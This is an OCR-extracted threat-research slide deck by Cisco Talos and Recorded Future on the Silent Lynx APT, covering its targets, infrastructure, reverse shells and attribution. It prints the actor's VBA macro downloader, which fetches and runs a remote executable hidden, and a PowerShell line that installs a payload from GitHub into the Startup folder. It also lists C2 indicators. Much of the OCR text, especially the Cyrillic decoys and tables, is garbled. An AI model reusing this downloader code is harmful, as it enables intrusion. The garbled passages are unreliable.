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®
Who is Silent Lynx? C)

And a bit of history
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Unveiling Silent Lynx
APT Targeting Entities
Across Kyrgyzstan

& Neighbouring Nations

Unveiling Silent Lynx APT Targeting Entities
Across Kyrgyzstan & Neighbouring Nations

Written by Subhajeet Singha

® Technical @ @

January 2025

Silent Lynx APT Targets Various Entities Across Kyrgyzstan &
Neighbouring Nations

Contents

e Key Targets
e Industries Affected
e Geographical Focus
¢ Infection Chain
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In our ongoing tracking of
Silent Lynx, we discovered
notable similarities and
overlaps with a Kazakhstan-
based threat actor/group
known as YoroTrooper, as
identified by our colleagues
at Cisco Talos.

- Seqrite



YoroTrooper Related Campaigns

P N ACTOR PROFILE
YOROTROOPER CISCOTALOS
MAR ‘ . . | . . YoroTrooper
2023 First report on YoroTrooper, detailing campaigns targeting CIS countries,
S embassies, and an EU healthcare agency )
APR TOMIRIS KASPERSKY
2023 © Not linked to YoroTrooper but multiple indicators overlap with Cisco Talos’s Affiliations Kazakhstan
L report )
e D _
JAN SILENT LYNX SEQRITE
2025 @ Targeting Central Asian Entities. PowerShell-based tools code overlap with Goals Espionage, data theft to support state objectives.
YoroTrooper
. J
4 N
Aug SHADOWSILK GROUP-IB
2025 @ A cross-border binary union for data exfiltration. Identifies overlap between
SHADOWSILK and YOROTROOPER but attributes them to different groups.
a D Notable TTPs Social engineering, spear-phishing, data exfiltration, custom-
ocT ® CAVALRY WEREWOLF BI.ZONE 0 ‘ built and commodity malware.
2025
Raids Russia’s public sector with trusted relationship attacks
A )
4 N
FEB HYDRA SAIGA VMRAY
2026 ? Covert Espionage and Infiltration of Critical Utilities
- J
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Are you really Are you Silent Lynx
YoroTrooper?

What are the
b evidence?
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The Threat Clusters Analysis

----- TTP Pattern
YoroTrooper

¢ Telegram-centric C2 and exfiltration

¢ Python-heavy RAT and stealer ecosystem

No direct ¢ Primarily collection and credential theft
tooling or

infrastructure
overlap
identified

TTP Pattern

Silent Lynx

® Raw TCP/TLS C2 through custom compiled
implants

¢ C++, .NET, Go and PowerShell portfolio

¢ Interactive shells, internal reconnaissance and

tunneling
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Silent Lynx = UAT-6275 & TAG-193

Cisco

TAG-193

UAT-6275

Silent Lynx and YoroTrooper share regional targeting, but no hard links. Distinct C2 and post-
exploitation models support tracking them separately.
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Campaign Landscape K\
& Victimology \J

222222222
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Targeted Countries in the Commonwealth of Independent States
(CIS)
&

Silent Lynx — Victimolp‘g‘y

Targeted countries -_Central Asia, South Caucasus & CIS 420!

Commonwealth of Independent States (CIS)

mmmmmmmmm

......

RUSSIA
UZBEKISTAN
TAJIKISTAN
AZERBAIJAN

Targeted Countries S
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Campaign Timeline and Targeted Sectors

Government of Nizhny Novgorod
(campaigns in January and July)

RUSSIA [ q

Critical energy infrastructure
(possible Orsk Oil Refinery)

RUSSIA Bl P

TAJIKISTAN [

Ministry of Economic Development and
Trade

APR

UZBEKISTAN ol ™

"Smart Forestry" initiative

CISCOTALOS x RECORDE D FUTURE / THREAT RESEARCH

2025

Il AZERBAIJAN

Credential-harvesting site impersonating the State
Agency for Public Service

I TURKMENISTAN

Turkmen-Italian Business Forum, Rome

e ARMENIA

Ministry of Foreign Affairs; Ministry of
Environment

B BELARUS

Belarusian government

TARGETED SECTORS
. PUBLIC SECTOR
Government entities

Foreign affairs, economic development
and trade institutions.

. STRATEGIC RESOURCES

Water & environment
Water management, forestry and
environmental ministries.

. CRITICAL INFRASTRUCTURE
Energy

Critical energy infrastructure in Russia.
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Targeting Aligned with Diplomatic and Strategic Events

P B HE Q

.
Armenian Ministry of Foreign Affairs int
r.‘ﬁcl)HaTOp NIHHHCTCPCTBO HHOCTPAHHBIX /IS

Hll}l\'el'()[)(),]ﬂ\'()l”l o0JacTH Pecny6imku ApMenus

Aztpec Me: m. |

» Decoy masqueraded as a Russian diplomatic congratulatory
letter addressed to Armenia’s Ministry of Foreign Affairs.

« Armenian environmental-government network later
communicated with Silent Lynx C2.

HABARNAMA

| Tiirkmenistanyi 36954 (25.09.2025 y.), 37826 (30.09.2025 ¥.)
Py

| L yuyh belgisi we 'BazkaeMble KoJLIern!

. ;
BEIa rus Ia n GOVe rnment a ‘ ' adly:; e is spublikasynyd R fherinc . 1+ Hikeropozckoit o61acti u ce0s JIHYHO cepAeyHO

pCTBa HHOCTPaHHBIX Je71 PecnyOmikn ApMennus 1 Bech

® Government netWOI’k aCtiVity OCCu rred roughly one Week befOI’e | - ) ) IMHOH YCTaHOBJICHHS JHUIVIOMATHUECKHX OTHONICHHH
an Astana meeting between Kazakhstani President Tokayev and abey-17-0ji oktfabry. BRI G AP

. . . . . g | | 10 JIHEM, OTKPBIBIIMM HOBYIO CTPaHHIy B HCTOPHH

BelarUSIan Forelgn MInISter Male RyZhenkOV' ) L1y Res wh Ykdysady osts i g HCTBHSA HANIMX CTpaH. 3a MpOIIEANIHE JECATHICTHS

ApMeHHEH pa3sBHBAIMCh B JIyXe COMO3HHYECTBA,

Turkmen Ministry of Foreign Affairs

+ Used www-mfa-gov-tm[.]Jdynns[.Jcom to impersonate the
ministry. )
* Used a decoy about the Turkmen-Italian Business Forum in i
Rome.
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Targeting Nizhny Novgorod

JAN

=

Government of Nizhny Novgorod
(campaigns in January and July)

Water resource and environment-related
targeting

January - July 2025

* A Nizhny Novgorod government IP communicated with three
identified Silent Lynx C2 servers during this period.

* Nizhny Novgorod sits at a key junction in the Volga basin, whose
water flow is strategically important to Kazakhstan because the
Volga supplies around 80% of the river water entering the

Caspian Sea.
* InVMRay's Hydra Saiga report, they observed campaign

targeted water-resource service in Kyrgyzstan, Uzbekistan and
Tajikistan 's water-resources authorities

CISCOTALOS x RECORDE D FUTURE / THREAT RESEARCH
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Targeting Orsk Oil Refinery

Ukrainian attack shuts Russia's Orsk
refinery for months, causing fuel

HUE problems
Critical energy infrastructure : By Reuters
(pOSSIble OrSk Oll REflnery / 0 AM GMT+2 - Updated 6 hours ago
Orsknefteorgsintez)
obe Acrobat Reader {32-bit)

Sign window  Help
Targeting Oil Refinery later impacted
by Ukraine war

Comment
:[(‘.:II'IBDE NpeLTOREHHE
e oy pysoseaemox Opexare ine Files + The decoy is a cooperation proposal between State Concern

‘Turkmennebit’ and the management of Orsk Refinery.

 Orsk sits near Kazakhstan; disruption to Russian energy

OBHEIMH HaNPAaBICHHAMH BIaHMOIeH

o _ s infrastructure can affect regional supply, transit, prices, and
- : ' Yoddt sanctions exposure.
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Hunting & Pivoting K)

Infrastructure and Tooling
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Beyond OSINT: how pivoting exposed more infrastructure

-~

SSDPShell
Hunting

\

~

CISCO TALOS x

~

Found
Sample

2c1764610a7f3113
bb01fdaeede3b41
1acc99843bbb7d6
42c26024a601460e

~

& J

RECORDED FUTURE / THREAT RESEARCH

-~

©

C2 Domain

microsoft-
updates-

p.com

\

windows.servehtt

~

%

~

©

Resolved IP

178[.]170[.]220[.]1
4

\

~

%

-~

©

PDNS

linux-system-

Jcom

\

updatel[.]serveftp[

~

%

() I

PDNS

104[.]248[.]17[.]222

\ )




Jackpots!

@) Directory listing for / % o
im) y listing

104.248.17.222

Three open
directories were
found during the
investigation
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Historical files from the open directory (via Hunt.io)

Total files Sub Dirs

89 23

2025-08-08 07:44 | 370 days ago

B

Files Legacy Al Summary

Q Search files (name or URL)...

Name ~

O .exegol/

3 .ssh/

3 exploits/

(3 .bash_history

.bashrc
.cloud-locale-test.skip
.hc_history

.profile

[ R e B o R P R P

.wget-hsts
[ .Xauthority
[ back.exe
() crash_sys
[ fish.exe

.zip download unavailable: Archive was not generated | B Download Listing

All 89 Malicious 23

Total size

68.5MB

Has preview 89

All extensions

v

Host:

http://104.248.17.222:8081

® DigitalOcean, LLC (AS14061)

Showing 89 of 89

w |\o(Q

&= Frankfurt am Main, Hesse, DE

Size Tags
67 items - 65.2 MB —

1 item —

2 items - 5.42 KB

1.17 KB

3.11 KB —
empty Config EN

395 B

242 B

185 B

144 B

3.09 MB large
729 B —

empty Config EN

Expand all v

Ext

exe

exe

Malware

Collapse all >
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There are more PIVOTS!

[ I

SSDPShell )

Hunting

\ %

1
1

Commits

Unique files

CISCO TALOS x

@ I

Found

Sample

2c1764610a7f3113bb
01fdaeede3b411acc9
9843bbb7d642c26024

Q60’I 460efe j

RECORDED FUTURE / THREAT RESEARCH

[ I

©

C2 Domain

microsoft-updates-
windows.servehttp.c
om

\ v

[ I

GitHub Repo

Xzj4

[ I

©

Resolved IP

178[.]170[.]220[.]14

\_ v

ITW on VT

http://raw.githubuse
rcontent.com/xzj4/1/
refs/heads/main/1.e

xe

[ I

©

PDNS

linux-system-
update[.]serveftp[.lc
om

\_ v

\ v

[ I

©

PickleShell

31bbd8f26ea51ee99b
8126ef8afd20a99756f
d89140a26f9f16570d
302aed64c

-

PDNS

104[.]248[.117[.]222

" v

\

~

v

N’
p

Open
Directory

104[.]248[.117[.]222

\

~

v




Threat Actor’s GitHub

1 Public

¥ main - ¥ 1Branch © 0 Tags Q. Go to file Add file ~ <> Code ~

Xzj4 Add files via upload 0 114 Commits

¥ main ~ ¥ 1Branch © 0 Tags Q Gotofile Add file ~ <> Code ~

xzj4 Update 157.ps1 1be4545 - 2 d go YY) 14 Commits
I:] 289.ps1 Rename 753.ps1 to 289.ps1

[ 576.ps1 Update 576.ps1 - Update 157.ps1 2 days ago
O 586.ps1 Update 586.ps1 Update 159.ps1 2 weeks ago
5 nda 596.ps

0 596.pst Update 596.ps1 Create 589.ps1 2 weeks ago
3 741.ps1 Update 741.ps1 i i

Add files via upload 2 weeks ago
[ DsrnSvc.exe Add files via upload

Add files via upload 2 weeks ago
D DurnSvc.exe Add fi via upload
[ LICENSE Initial commit
[ MecrnSvc.exe Add files via upload
[3 dusrnsvc.exe Add files via upload

[3 shparnsvc.exe Add files via upload

[ wscsvc.exe Add files via upload

From 1be454513580250dbb626c407a9cff25f64924d5 Mon Sep 17 00:00:00 2001
From: xzj4 <rocky.balboa.boxer.10@mail.com>

Date: Wed, 12 Aug 2026 07:03:34 +0300

Subject: [PATCH] Update 157.psl

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH 03
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TACTICS, TECHNIQUES K \
AND PROCEDURES \J

Infrastructure and Tooling
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Malware Families - Chvost

Silent Lynx relies heavily on lightweight reverse shells, including previously reported LAPLAS, FoalShell, and SSDPShell, as well as newly

classified families:

o chvost

OSINT NAME IMPLEMENTATION
LAPLAS TLS variant C++ | TCP = TLS
)]

E:\HoyT\chvost\Release\Netdrv.pdb

Chvost likely
transliterates khvost

(xBocT), Russian for
[ ail!

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

JUN 2022-JUN 2025

PDB project
name

Laplasgeneral (i.e.
C:\Users\admin\source\repos
\Laplasgeneral\Release\Lapla

sgeneral.pdb)

chvost (i.e.
E:\share\shell\chvost\x64\Release
\Netdrv.pdb)

OpenSSL
linkage

Dynamic import of libssl-3-
x64.dll / libcrypto-3-x64.dlI
(TLS Vvariant)

Static link (no separate DLL
dependency)

Win32 API
resolution

Runtime via LoadLibraryA +
GetProcAddress

Static IAT (all APIs visible in
import table)

String
obfuscation

3-pass double XOR with
various keys

Single-pass cycling XOR; key
"Phenyx2022"

Application-
layer banner

None

"HELLO. Press Enter.\r\n" (21
bytes) sent immediately after
SSL_connect

Pre-shell "chcp 65001 >nul\r\n" written None
command to child stdin
Exit None (operator terminates shexit\n" from ,.CZ - relay Ioop"
command session by closing TLS) breaks — sends "Goodbye. \r\n
and tears down
Anti-debug Yes None
Reconnect Infinite, 5-second heartbeat single connect attempt; exits on

disconnect



Malware Families - Custom Reverse Shells

Silent Lynx relies heavily on lightweight reverse shells, including previously reported LAPLAS, FoalShell, and SSDPShell, as well as newly
classified families:

01 chvost JUN 2022-JUN 2025
OSINT NAME IMPLEMENTATION

LAPLAS TLS variant C++ | TCP = TLS

PDB

E:\HoyT\chvost\Release\Netdrv.pdb

JUL-0CT 2025

o= PS2EXE wrapper + PowerShell

OSINT NAME IMPLEMENTATION

SilentSweeper PS2EXE + PowerShell

PDB / EVIDENCE

No family-specific PDB. Public PS2EXE supplies the wrapper behavior;
the embedded script is actor-specific.

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

o2 LAPLAS TLS Variant

OCT-NOV 2025

OSINT NAME IMPLEMENTATION

New in this research C++ | TCP = TLS

PDB

C:\Users\admin\source\repos\Laplasgeneral\
x64\Release\Laplasgeneral.pdb [same as TCP variant]

o« PickleShell

APR-AUG 2026

OSINT NAME IMPLEMENTATION

None identified C# [ .NET | SsIStream

PDB

C:\Users\pickl\source\repos\C#SSLrevshelll\...\carnsv
c.pdb



Four Intrusion Chains

Document with VBA
macro script

Used in a campaign with
unknown targets

- /
June 2025

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH



_ Document with VBA macro script

~

(Attribute VB_Name = "NewMacros"

4 4 n n h
S —— gt;ribgtg VBT?ame = "NewMacros

Dim v1 As String, v2 As String Y utobpen . .

vl = Chr(104) & Chr(116) & Chr(116) & Chr(112) & LU Wl o8 Sftclifep W2 L Sic i )
Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(55) & Chr(56) Vi = D2 /Al L2 A S8 BT oL oG
& Chr(46) & Chr(49) & Chr(5@) & Chr(56) & Chr(46) & v2 = Environ("TEMP") & "\update.exe
Chr(52) & Chr(48) & Chr(46) & Chr(56) & Chr(57) & Chr(58) . .

& Chr(56) & Chr(57) & Chr(56) & Chr(57) & Chr(47) & Dim ol As Object
Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & ] Set ol = CreateObject("MSXML2.XMLHTTP")
Chr(46) & Chr(101) & Chr(128) & Chr(1e1) Deobfuscation ol.0pen "GET", vi1, False
v2 = Environ(Chr(84) & Chr(69) & Chr(77) & Chr(8e)) & ol.Send
Chr(92) & Chr(117) & Chr(112) & Chr(160) & Chr(97) &
Chr(116) & Chr(101) & Chr(46) & Chr(181) & Chr(120) & ) If ol.Status = 200 Then
Chr(101) Dim 02 As Object
Set 02 = CreateObject("ADODB.Stream")

Dim ol As Object 02.Type = 1

Set 0l = CreateObject(Chr(77) & Chr(83) & Chr(88) & 02.0pen
Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) 02.Write ol.responseBody
& Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80)) 02.SaveToFile v2, 2

0l.0pen Chr(71) & Chr(69) & Chr(84), vl, False 02.Close

ol.Send

Shell v2, vbHide

If 0l.Status = 280 Then End If

Dim 02 As Object End Sub
Set 02 = CreateObject(Chr(65) & Chr(68) & Chr(79)

& Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) &

Chr(114) & Chr(101) & Chr(97) & Chr(109))

220 ]P0 = L Document Properties

02.0pen

02.Write ol.responseBody de:creator

2. ToFile v2, 2 .

gz_gi;;" e cp:lastModifiedBy

cp:revision p)
End ?waell v2, vbHide dcterms:created 2025-06-02T04:34:00Z

End Sub dcterms:modified 2025-06-02T04:34:00Z
L S
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Four Intrusion Chains

/0 \/e h

Document with VBA PS2EXE-generated
macro script EXE downloader
Used in a campaign with China-Central Asia Summit,
unknown targets campaign targeting
\ / erkmenistan /
June 2025 July 2025

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH



_ PS2EXE-generated EXE downloader

=

Attacker C2

\ 4
PS2EXE downloader

with PDF icon

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

Download
>

Runs PowerShell

Reverse Shell and launcher

Sample A
Run
>
VBScript launcher PowerShell Reverse Shell
WindowsUpdateService.vbs WindowsUpdateService.ps1
Sample B
Drop
—_— EXE
Decoy file Archive with Chvost Chvost reverse shell
1.pdf MicrosoftOffice Update.zip MicrosoftOfficeUpdate.zip




Four Intrusion Chains

Document with VBA
macro script

Used in a campaign with
unknown targets

\ %

June 2025

o
PS2EXE-generated

EXE downloader

China-Central Asia Summit,
campaign targeting

Qrkmenistan /

July 2025

GitHub-hosted
PowerShell script

Likely against Ministry of
Foreign Affairs of

Qrkmenistan

~

v

Oct 2025

CISCO TALOS x
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_ GitHub-hosted PowerShell script

N~

Spear-phishing emails

>@

\ 4
Malicious LNK

with PowerShell commands

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

Remote C2 at various
locations

TCP Reverse

Runs PowerShell

Reverse Shell and launcher

Shell
> < > > EXE
Download Deploy
PickleShell PickleShell
GitHub PowerShell Script PickleShell
xzj4/1 Execute in memory Dropping wcrnsvc.exe into Startup



Four Intrusion Chains

Document with VBA
macro script

Used in a campaign with
unknown targets

\ %

June 2025

PS2EXE-generated
EXE downloader

China-Central Asia Summit,
campaign targeting

Qrkmenistan

July 2025

v

GitHub-hosted
PowerShell script

Likely against Ministry of
Foreign Affairs of

Qrkmenistan

~

v

Oct 2025

CISCO TALOS x

RECORDED FUTURE / THREAT RESEARCH

CVE-2025-8088
WinRAR archive

Likely targeting Armenia’s
Ministry of Foreign Affairs

\

~

v

April 2026




Other Findings

FortiWeb CVE-2025-25257 PoC pre-staging

« A CVE-2025-25257 proof of concept under an exploits/ pathon a
C2 server indicates possible interest in FortiWeb appliances;
exploitation was not confirmed.

Operational interest in Linux/Unix targets

* The actor maintained ELF implants and Go-based Ligolo agents
for possible Linux deployment on C2 servers.

Cobalt Strike present in the arsenal

« C2infrastructure hosted commodity Cobalt Strike tooling
alongside bespoke reverse shells.

Use of Exegol and PowerView

+ (C2 data indicates use of open-source tools for reconnaissance
and post-exploitation.

CISCOTALOS x RECORDE D FUTURE / THREAT RESEARCH
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Attribution Artifacts C)

Where are the threat actors from?
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New artifacts indicate Russian-language use

@GROUP'|B — $url = "https://raw.githubusercontent.com/xzj4/1/refs/heads/main/wcrnsvc.exe"
#$destPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\wcrnsvc.exe"
cd "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\"

$destPath = ".\wcrnsvc.exe"

It? 1. Bnok ckauuBaHus ¢anna

« Blog < 0 try {

if (-not (Test-Path $destPath)) {

Nikita Rostovcev Sergei Turner
_‘:J:_ APAC Technical Head - ASM, T| Cyber Intelligence Analyst, L J 10.txt J ]
& DRP APAC LiveTop 10.154.0.0/16  MRiF=KilHh: L 4 nc_history
LiveTop 10.76.0.0/16 EBiFEHEN: .
LiveTop 10.158.0.0/16  ER7FENEA: whoami
LiveTop 10.101.0.0/16 BFEHERN: exit
. LiveTop 10.230.0.0/16 BREFEHEN: .
Shadowsllk. A CrOSS_Border LiveTop 10.231.0.0/16 BRFENEN: whoami
. LiveTop 10.232.0.0/16 BRIEFEHEN: exit
LiveTop 10.246.0.0/16 BEFEHERN:

I l LiveTop 10.102.0.0/16  KiEMEy: whoami
Blnary Unlon fOF Da.ta. L;zZng 10.155.0.0/16 Eﬁgiﬁﬁzﬁg: exit

. . LiveTop 10.101.26.0/24 BR7F/EAEN: ls
EX-I:I I-t ra-tl on LiveTop 10.76.75.0/24  BEFEHEN: .
exit
Fscan output whoami
This blog describes attacks on victims in Central Asia and APAC. Research into the attack eXit
has identified a group also called YoroTrooper. We also identified profiles of attackers on upu_lq)bm
hacker forums, their malicious web) . by :
and screenshots of attackers desil WWhat languages do the ShadowsSilk operators use? ‘i’i"‘l

ShadowsSilk consists of Chinese and Russian-speaking subgroups. Russian-speaking members appear to
focus on malware development and initial access, while Chinese-speaking operators handle post-

exploitation and data collection.
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Decoy Document Metadata

TOO «EkolabRecycling» HUWC «EkoLabRecycling» Ex.fToo" Flle MEtadata @
Pecnybnuka KasaxcraH, KazaxctaH Pecnybaukacsl,
r. KoctaHai , npom3oHa KocTaHai K., OHepKacinTik aimak,
CesepHas, 3aanne 20! eBepHan, FAmapar . .
Emailp ekol:ll)z 21 'r?wal\ ru, EKOLAB Emal\k' ekolabzuzl@fg?ail ru, MIMEType appllcatlon/pdf
BIMH: 190940002888, BIN: 190940002888,
Ten: +7 777 9133030 TOO «ExolLabRecycling» Ten: +7 7779133030 ModifyDate 2025:07:17 21:04:51+05:00
TocyaapcTBeHHOI MOrpaHUYHOMH CreateDate 2025:07:17 21:04:51+05:00
TypkMeHucTan . -
P FileTypeExtension pdf
YBaxaemsle rocmnojaa!l FI lEType P D F
, _ XMPToolkit 3.1-701
ToBapHIIIECTBO ¢ OrpaHHYeHHOH OTBeTcTBeHHOCThIO «EkoLabRecycling»
BBIpaxkaeT BaM cB0E yBakeHHe M 0OpaIaeTcs ¢ NpeyioKeHHEM O HATaKUBAHHH CreatorTool Microsoft® Word 2010
B3aMMOBBITOTHOTO COTPYIHHYECTRA.
Hama KOMITaHHS CHEeIMaIH3HPYETCS Ha NPOH3BOJICTBE Lan guage ru-RU

BBICOKOKaQ4YE€CTBECHHBIX IMOJIMMEPKOMITIO3HTHBIX KEHCOB CIICHAJIBHOT'O
Ha3HaYeHus. B 4acTHOCTH » MBI BBIITYCKa€M ITOJIMMEPKOMITIO3UTHEIC KEHUCHI I
YKYIIOPKH H XpaHCHHUA CHapAIOB pasimHYHBIX KEU'IH6I)OB » COOTBETCTBYIOIIIHE
COBpPEMEHHEBIM TpPE OOBaHHUAM H M CKIOAYHaApPOOAHBIM CTaHJapTaM II0 IIPOYHOCTH,

TEPMETHYHOCTH M Haf&KHOCTH IPH JIHTEIBHOM XPaHEHHH M TPAHCIIOPTHPOBKE
6OENpPHUIIACOB B PA3IMYHBIX KIMMATHYECKHX YCIOBHIX.,

IlpousBoanuMasi HaMH IPOAYKIMS HE YCTYIAeT MO NPAKTHYHOCTH, a I10
HEKOTOPOMY (DYHKIMOHAITY J1aXKe MPEBOCXOUT MPOYKIIHIO MHPOBBIX JIHIEPOB B
MaHHOM CerMeHTe W o0nagaer psaAoM CYIIECTBEHHBIX NPEUMYIIECTB IS
6€3011aCHOT0 XPaHEHHs ¥ TPAHCIIOPTHPOBKH:
® KEeHCBI M3rOTOBJIEHBI W3 OTHECTOWKOrO, YAapOIpOYHOI0, MOPO30yCTOHYHBOIO

[IOJTMMEPKOMIIO3UTHOIO MaTepHalia, JaHHbIH Marepuas obiajaer CBOHCTBAMH
IHAJIEKTPHKAa H He o6pa3yer cTaTH4YecKoe 3IeKTPHYECTBO, HMEET CTOHKOCTE K
rpubkaM, OGakTepHsAM, arpecCHMBHBIM (KHUCIOTHBIM, IIEIOYHBIM) CpefaM |
yabpTpadHOIEeTOBOMY H3JIyYE€HHIO (COMTHEYHOMY CBETY);

IBYXCTEHUATHI KOPIYC BHIIOJHEH B BHAE TPOYHOM  OJHOPOIHOM
KOHCTPYKIIHH, KOTOpasi [enaeT ero ocobeHHO yCTOMYMBBIM K yAapaM H RUSSI A
BHOpalMK, YTO TO3BOJAET HCIONL30BAaThH KEHCHI B CaMBIX CYPOBBIX
KIHMATHYECKHX YCIOBHAX M IKCTPEMAIBHBIX CHTYAIHsIX;

MEXCTEHOYHOE TIPOCTPAHCTBO KOPITyCa 3alOJHEHO TEIUIOH30JISIIHOHHBIM
CBEPXIIErKHM MaTepHAaIIOM;

KEHCbl HMEIOT CIICIHAJIBHO pa3p360TaHHLIe KOHCTPYKTHBHBIE€ IIa3blL (ﬂpﬂMaﬂ
HJIH MEPEKPECTHaA YKIIaJKa OJIHHAKOBBIX HMITH pPa3sHbIX pa3MEpoB KCﬁCOB) JUIsA
CKIagupOBaHHA H BBEIJIEPKHBAKOT MaKCHMallbHYHO HarpyskKy npH
IJ.'[TaﬁeJ'lﬂpOBalll’lﬂ;

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH



ProtonVPN Egress Timing Analysis

Accumulated Activity Heatmap (Weekday vs Hour)
Kazakhstan-geolocated ProtonVPN egress IPs

Monday
+ We observed these IP addresses communicating with Silent Lynx
servers over SSH

Tuesday

Monday to Friday

Wednesday

« Communications via ProtonVPN occurred exclusively between

Monday and Friday Thursday

o
Qu
il
=
-
(-
[}
-
@
-]

Friday
Peak: 7:00 a.m.-12:00 p.m. UTC+5

Saturday
« A second period of elevated activity was observed during the

afternoon hours

Sunday

0O 6 7 8 9 10 11 12 13 14 15 16 17 21 22 23
Hour of Day (+3h adjusted)
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GitHub Commits Analysis

From d7437f2cf37405e48671c295¢290385853b9dbcbh Mon Sep 17 00:00:00 2001
From: xzj4 <rocky.balboa.boxer,l0@amail.com>

Date: Thu, 9 Jul 2026 07:40:49: +0300
Subject: [PATCH] Rename 753.psl to 289.psl

UTC+3 (Moscow / Saint Petersburg) UTC+5 (Astana / Aimaty)

2a@s if operator were in Russia as if operatzr were in Kazakhstan

workday 09-18 local workday 09-18 local
12 12
9
4
4 I 4 I- I
IIII ||||IIIIIIIII IIII IIII
6 9
hour of day (local time) — ¥@ = lunch hour hour of day (local time) — ¥@l = lunch hour

12 13@ 14@ 18 -. 9 12 13@ 14@

51% fall within 09:00-18:00 working hours 95% fall within 09:00—18:00 working hours
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Malware-testing Samples Submitted from Kazakhstan

Sample
31 44af608e11151932Ffa098b8acB6a424b681b167133a0c750d836¢c9...
/73 ( € Associate Actor J ( © Add Tag )
detect-debug-environment assembly peexe long-sleeps
Malicious
33 6806029ed72de2b592c18edb430ffabd56137a8428b7c23860ae4f..
NE ( € Associate Actor J ( © Add Tag )
long-sleeps peexe runtime-modules
Malicious

Compile & Submission Time

<> Compiled: 2025-10-16 04:37:30 UTC

® First seen: 2025-10-16 04:40:54 UTC

A Likely actor self-submission: 3m 24s compile-to-submit delta
® Last analysis: 2025-10-17 00:39:22 UTC

A- Last submitted: 2025-10-16 04:40:54 UTC

<> Compiled: 2022-06-16 07:17:09 UTC

(@ First seen: 2022-06-16 07:18:35 UTC

N\ Likely actor self-submission: 1m 26s compile-to-submit delta
® Last analysis: 2025-12-02 03:41:13 UTC

- Last submitted: 2022-06-16 07:18:35 UTC

8 samples submitted right after compilation

+ Two unique submitters, both geolocated to Kazakhstan

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

Submitter
2025-10-16 - K7 Method: Web
123.exe - KZ astana via web
Submitter: 5569110b
2022-06-16 - K7 Method: Web

Netdrv.exe - KZ nur—sultan via web

Submitter: fb820aca



EXECUTIVE SUMMARY

IELCENEVE

T
N

CISCO TALOS x RECORDED FUTURE / THREAT RESEARCH

DAY ZERO 2026 / JOINT RESEARCH

Silent Lynx (UAT-6275 / TAG-193) is a sustained, CIS-focused
intelligence-collection cluster whose targeting may align with
Kazakhstan'’s strategic interests. Current evidence supports tracking it
separately from YoroTrooper.

C2 infrastructure remains a high-value hunting surface: Silent Lynx’s
OPSEC failures exposed its wider tooling, staging and development
activity.

The Russia-Ukraine war may be reshaping the intelligence priorities of
neighboring states as regional economic and security interests shift.

The newly discovered artifacts and TTPs suggest Silent Lynx is
strengthening its operational resilience. We expect the actor to continue
refining delivery and persistence while maintaining its regional
targeting priorities.



K \ lol it was actually very funny for the first
try, | gave it this meme and say | want this
Fbut with the lynx

DXQ ashlshen@cisco.com DXQ julian.vogele@recordedfuture.com

and then it gave me this 2

X @ashl3y_shen X @JulianVoe

In linkedin.com/in/ashley-shen In linkedin.com/in/jfvoegele

TaLOS| li-Recorded Future’
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